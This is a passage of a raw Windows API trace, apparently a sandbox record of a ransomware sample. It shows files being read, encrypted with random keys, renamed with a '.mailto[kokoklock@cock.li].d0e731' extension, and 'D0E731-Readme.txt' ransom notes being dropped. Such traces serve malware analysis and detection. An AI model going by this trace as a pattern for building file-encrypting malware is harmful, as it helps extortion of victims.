lpNumberOfBytesWritten=0x1f0bfb6c*=0x8, lpOverlapped=0x0) returned 1 [0077.093] WriteFile (in: hFile=0x904, lpBuffer=0x1f0bfb84*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f0bfb6c, lpOverlapped=0x0 | out: lpBuffer=0x1f0bfb84*, lpNumberOfBytesWritten=0x1f0bfb6c*=0x4, lpOverlapped=0x0) returned 1 [0077.093] WriteFile (in: hFile=0x904, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f0bfb6c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1f0bfb6c*=0x4, lpOverlapped=0x0) returned 1 [0077.093] WriteFile (in: hFile=0x904, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1f0bfb6c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1f0bfb6c*=0x6c, lpOverlapped=0x0) returned 1 [0077.094] WriteFile (in: hFile=0x904, lpBuffer=0x3492ca8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f0bfb6c, lpOverlapped=0x0 | out: lpBuffer=0x3492ca8*, lpNumberOfBytesWritten=0x1f0bfb6c*=0x20, lpOverlapped=0x0) returned 1 [0077.094] WriteFile (in: hFile=0x904, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f0bfb6c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1f0bfb6c*=0x4, lpOverlapped=0x0) returned 1 [0077.094] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ca8) returned 1 [0077.094] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492af0) returned 1 [0077.094] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34928e8) returned 1 [0077.094] CloseHandle (hObject=0x904) returned 1 [0077.094] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf4) returned 0x33fc9c8 [0077.094] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" [0077.094] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.mailto[kokoklock@cock.li].d0e731" [0077.094] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.mailto[kokoklock@cock.li].d0e731")) returned 1 [0077.095] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0077.095] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0077.095] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe", dwFileAttributes=0x20) returned 0 [0077.095] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x3431100 [0077.095] wcscpy (in: _Dest=0x3431100, _Source="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\" [0077.095] wcscat (in: _Dest=0x3431100, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\D0E731-Readme.txt" [0077.095] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\d0e731-readme.txt")) returned 0x20 [0077.095] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431100) returned 1 [0077.095] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34311c0) returned 1 [0077.095] RtlExitUserThread (Status=0x1) Thread: id = 839 os_tid = 0x1420 [0077.089] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x3432168 [0077.089] wcscpy (in: _Dest=0x3432168, _Source="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" [0077.090] wcscat (in: _Dest=0x3432168, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\" [0077.091] wcscat (in: _Dest=0x3432168, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*" [0077.091] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342d660 [0077.091] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*", lpFindFileData=0x342d660 | out: lpFindFileData=0x342d660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0398 [0077.097] wcscmp (_String1=".", _String2=".") returned 0 [0077.097] FindNextFileW (in: hFindFile=0x33e0398, lpFindFileData=0x342d660 | out: lpFindFileData=0x342d660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.097] wcscmp (_String1="..", _String2=".") returned 1 [0077.097] wcscmp (_String1="..", _String2="..") returned 0 [0077.097] FindNextFileW (in: hFindFile=0x33e0398, lpFindFileData=0x342d660 | out: lpFindFileData=0x342d660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e73631, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2652a95, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0077.097] wcscmp (_String1="vcRuntimeMinimum_x86", _String2=".") returned 1 [0077.097] wcscmp (_String1="vcRuntimeMinimum_x86", _String2="..") returned 1 [0077.097] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x33fc9c8 [0077.097] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" [0077.097] wcscat (in: _Dest=0x33fc9c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\" [0077.097] wcscat (in: _Dest=0x33fc9c8, _Source="vcRuntimeMinimum_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86" [0077.873] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33fc9c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x914 [0077.874] FindNextFileW (in: hFindFile=0x33e0398, lpFindFileData=0x342d660 | out: lpFindFileData=0x342d660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e73631, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2652a95, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0077.874] FindClose (in: hFindFile=0x33e0398 | out: hFindFile=0x33e0398) returned 1 [0077.874] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d660) returned 1 [0077.874] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3432168) returned 1 [0077.874] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430f80) returned 1 [0077.874] RtlExitUserThread (Status=0x0) Thread: id = 840 os_tid = 0x1424 [0077.098] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\UpdateCspStore.xml" (normalized: "c:\\users\\all users\\usoprivate\\updatestore\\updatecspstore.xml")) returned 0x20 [0077.099] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\UpdateCspStore.xml", dwFileAttributes=0x20) returned 1 [0077.099] CreateFileW (lpFileName="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\UpdateCspStore.xml" (normalized: "c:\\users\\all users\\usoprivate\\updatestore\\updatecspstore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8fc [0077.099] GetFileSizeEx (in: hFile=0x8fc, lpFileSize=0x1f1bfe60 | out: lpFileSize=0x1f1bfe60*=26) returned 1 [0077.099] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x16, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.099] ReadFile (in: hFile=0x8fc, lpBuffer=0x1f1bfe34, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f1bfe30, lpOverlapped=0x0 | out: lpBuffer=0x1f1bfe34*, lpNumberOfBytesRead=0x1f1bfe30*=0x4, lpOverlapped=0x0) returned 1 [0077.101] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.101] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492988 [0077.101] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ca8 [0077.101] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34929b0 [0077.101] NtQuerySystemTime (in: CurrentTime=0x1f1bfe0c | out: CurrentTime=0x1f1bfe0c*=132121176349877792) returned 0x0 [0077.101] RtlRandom (in: Seed=0x1f1bfe18 | out: Seed=0x1f1bfe18) returned 0x51dc0c89 [0077.101] RtlRandom (in: Seed=0x1f1bfe18 | out: Seed=0x1f1bfe18) returned 0xa935369b [0077.101] RtlRandom (in: Seed=0x1f1bfe18 | out: Seed=0x1f1bfe18) returned 0x6cebd090 [0077.101] RtlRandom (in: Seed=0x1f1bfe18 | out: Seed=0x1f1bfe18) returned 0xfa72469b [0077.101] RtlRandom (in: Seed=0x1f1bfe18 | out: Seed=0x1f1bfe18) returned 0x96db3c11 [0077.101] RtlRandom (in: Seed=0x1f1bfe18 | out: Seed=0x1f1bfe18) returned 0x71727355 [0077.101] RtlRandom (in: Seed=0x1f1bfe18 | out: Seed=0x1f1bfe18) returned 0x1aa2dbc4 [0077.101] RtlRandom (in: Seed=0x1f1bfe18 | out: Seed=0x1f1bfe18) returned 0x6801dfe1 [0077.101] RtlRandom (in: Seed=0x1f1bfe18 | out: Seed=0x1f1bfe18) returned 0xb771bc9b [0077.101] RtlRandom (in: Seed=0x1f1bfe18 | out: Seed=0x1f1bfe18) returned 0x95876cb1 [0077.101] RtlRandom (in: Seed=0x1f1bfe18 | out: Seed=0x1f1bfe18) returned 0x6124ffdb [0077.101] RtlRandom (in: Seed=0x1f1bfe18 | out: Seed=0x1f1bfe18) returned 0xc9a5a04a [0077.101] RtlRandom (in: Seed=0x1f1bfe18 | out: Seed=0x1f1bfe18) returned 0x2f696035 [0077.101] RtlRandom (in: Seed=0x1f1bfe18 | out: Seed=0x1f1bfe18) returned 0x83b6d6a3 [0077.101] RtlRandom (in: Seed=0x1f1bfe18 | out: Seed=0x1f1bfe18) returned 0xb30baa6b [0077.101] RtlRandom (in: Seed=0x1f1bfe18 | out: Seed=0x1f1bfe18) returned 0x78bffa39 [0077.101] RtlRandom (in: Seed=0x1f1bfe18 | out: Seed=0x1f1bfe18) returned 0xda3c6e70 [0077.101] RtlRandom (in: Seed=0x1f1bfe18 | out: Seed=0x1f1bfe18) returned 0x9819ab98 [0077.101] RtlRandom (in: Seed=0x1f1bfe18 | out: Seed=0x1f1bfe18) returned 0x9a93af65 [0077.101] RtlRandom (in: Seed=0x1f1bfe18 | out: Seed=0x1f1bfe18) returned 0xce5c758a [0077.101] RtlRandom (in: Seed=0x1f1bfe18 | out: Seed=0x1f1bfe18) returned 0xd9ce614f [0077.101] RtlRandom (in: Seed=0x1f1bfe18 | out: Seed=0x1f1bfe18) returned 0xb822ed6d [0077.101] RtlRandom (in: Seed=0x1f1bfe18 | out: Seed=0x1f1bfe18) returned 0xbb929c1e [0077.101] RtlRandom (in: Seed=0x1f1bfe18 | out: Seed=0x1f1bfe18) returned 0x9a2b446e [0077.101] RtlRandom (in: Seed=0x1f1bfe18 | out: Seed=0x1f1bfe18) returned 0xaea8264e [0077.101] RtlRandom (in: Seed=0x1f1bfe18 | out: Seed=0x1f1bfe18) returned 0x2e89f571 [0077.101] RtlRandom (in: Seed=0x1f1bfe18 | out: Seed=0x1f1bfe18) returned 0xb54e2ec0 [0077.102] RtlRandom (in: Seed=0x1f1bfe18 | out: Seed=0x1f1bfe18) returned 0x7d07a4a3 [0077.102] RtlRandom (in: Seed=0x1f1bfe18 | out: Seed=0x1f1bfe18) returned 0xf9a3bb42 [0077.102] RtlRandom (in: Seed=0x1f1bfe18 | out: Seed=0x1f1bfe18) returned 0xc449c044 [0077.102] RtlRandom (in: Seed=0x1f1bfe18 | out: Seed=0x1f1bfe18) returned 0x72539866 [0077.102] RtlRandom (in: Seed=0x1f1bfe18 | out: Seed=0x1f1bfe18) returned 0xd421f704 [0077.113] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0077.113] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492988) returned 1 [0077.113] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd8f8 [0077.113] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0077.113] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492aa0 [0077.113] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492aa0) returned 1 [0077.113] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348a220 [0077.113] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0077.113] ReadFile (in: hFile=0x8fc, lpBuffer=0x348a220, nNumberOfBytesToRead=0x1a, lpNumberOfBytesRead=0x1f1bfe0c, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesRead=0x1f1bfe0c*=0x1a, lpOverlapped=0x0) returned 1 [0077.113] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f1bfdd4 | out: lpNewFilePointer=0x0) returned 1 [0077.113] WriteFile (in: hFile=0x8fc, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x1a, lpNumberOfBytesWritten=0x1f1bfe08, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x1f1bfe08*=0x1a, lpOverlapped=0x0) returned 1 [0077.113] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492aa0 [0077.113] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492c30 [0077.113] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492c30) returned 1 [0077.113] WriteFile (in: hFile=0x8fc, lpBuffer=0x3492aa0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f1bfe04, lpOverlapped=0x0 | out: lpBuffer=0x3492aa0*, lpNumberOfBytesWritten=0x1f1bfe04*=0x20, lpOverlapped=0x0) returned 1 [0077.114] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492aa0) returned 1 [0077.114] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0077.114] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a220) returned 1 [0077.114] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0077.114] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd8f8) returned 1 [0077.114] WriteFile (in: hFile=0x8fc, lpBuffer=0x34928e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f1bfe30, lpOverlapped=0x0 | out: lpBuffer=0x34928e8*, lpNumberOfBytesWritten=0x1f1bfe30*=0x8, lpOverlapped=0x0) returned 1 [0077.114] WriteFile (in: hFile=0x8fc, lpBuffer=0x1f1bfe48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f1bfe30, lpOverlapped=0x0 | out: lpBuffer=0x1f1bfe48*, lpNumberOfBytesWritten=0x1f1bfe30*=0x4, lpOverlapped=0x0) returned 1 [0077.114] WriteFile (in: hFile=0x8fc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f1bfe30, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1f1bfe30*=0x4, lpOverlapped=0x0) returned 1 [0077.114] WriteFile (in: hFile=0x8fc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1f1bfe30, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1f1bfe30*=0x6c, lpOverlapped=0x0) returned 1 [0077.114] WriteFile (in: hFile=0x8fc, lpBuffer=0x3492ca8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f1bfe30, lpOverlapped=0x0 | out: lpBuffer=0x3492ca8*, lpNumberOfBytesWritten=0x1f1bfe30*=0x20, lpOverlapped=0x0) returned 1 [0077.114] WriteFile (in: hFile=0x8fc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f1bfe30, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1f1bfe30*=0x4, lpOverlapped=0x0) returned 1 [0077.114] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ca8) returned 1 [0077.114] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492af0) returned 1 [0077.114] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34928e8) returned 1 [0077.114] CloseHandle (hObject=0x8fc) returned 1 [0077.115] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x34323c0 [0077.115] wcscpy (in: _Dest=0x34323c0, _Source="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\UpdateCspStore.xml" | out: _Dest="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\UpdateCspStore.xml") returned="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\UpdateCspStore.xml" [0077.115] wcscat (in: _Dest=0x34323c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\UpdateCspStore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\UpdateCspStore.xml.mailto[kokoklock@cock.li].d0e731" [0077.115] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\UpdateCspStore.xml" (normalized: "c:\\users\\all users\\usoprivate\\updatestore\\updatecspstore.xml"), lpNewFileName="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\UpdateCspStore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoprivate\\updatestore\\updatecspstore.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0077.116] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\UpdateCspStore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0077.116] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34323c0) returned 1 [0077.116] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\UpdateCspStore.xml", dwFileAttributes=0x20) returned 0 [0077.116] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7a) returned 0x347f018 [0077.116] wcscpy (in: _Dest=0x347f018, _Source="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\" | out: _Dest="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\") returned="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\" [0077.116] wcscat (in: _Dest=0x347f018, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\D0E731-Readme.txt" [0077.116] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoprivate\\updatestore\\d0e731-readme.txt")) returned 0xffffffff [0077.116] CreateFileW (lpFileName="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoprivate\\updatestore\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8fc [0077.117] WriteFile (in: hFile=0x8fc, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x1f1bfe2c, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x1f1bfe2c*=0x481, lpOverlapped=0x0) returned 1 [0077.118] CloseHandle (hObject=0x8fc) returned 1 [0077.118] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f018) returned 1 [0077.118] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f5f0) returned 1 [0077.118] RtlExitUserThread (Status=0x1) Thread: id = 841 os_tid = 0x1428 [0077.119] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml" (normalized: "c:\\users\\all users\\usoprivate\\updatestore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml")) returned 0x20 [0077.120] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml", dwFileAttributes=0x20) returned 1 [0077.120] CreateFileW (lpFileName="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml" (normalized: "c:\\users\\all users\\usoprivate\\updatestore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8fc [0077.120] GetFileSizeEx (in: hFile=0x8fc, lpFileSize=0x1f23fa0c | out: lpFileSize=0x1f23fa0c*=2907) returned 1 [0077.120] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0xb57, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.120] ReadFile (in: hFile=0x8fc, lpBuffer=0x1f23f9e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f23f9dc, lpOverlapped=0x0 | out: lpBuffer=0x1f23f9e0*, lpNumberOfBytesRead=0x1f23f9dc*=0x4, lpOverlapped=0x0) returned 1 [0077.122] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.122] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492988 [0077.122] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ca8 [0077.122] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34929d8 [0077.122] NtQuerySystemTime (in: CurrentTime=0x1f23f9b8 | out: CurrentTime=0x1f23f9b8*=132121176350190268) returned 0x0 [0077.122] RtlRandom (in: Seed=0x1f23f9c4 | out: Seed=0x1f23f9c4) returned 0xd43b8fe3 [0077.122] RtlRandom (in: Seed=0x1f23f9c4 | out: Seed=0x1f23f9c4) returned 0xa1457490 [0077.122] RtlRandom (in: Seed=0x1f23f9c4 | out: Seed=0x1f23f9c4) returned 0xd350868e [0077.122] RtlRandom (in: Seed=0x1f23f9c4 | out: Seed=0x1f23f9c4) returned 0x96808fd2 [0077.122] RtlRandom (in: Seed=0x1f23f9c4 | out: Seed=0x1f23f9c4) returned 0x8bcabcdd [0077.122] 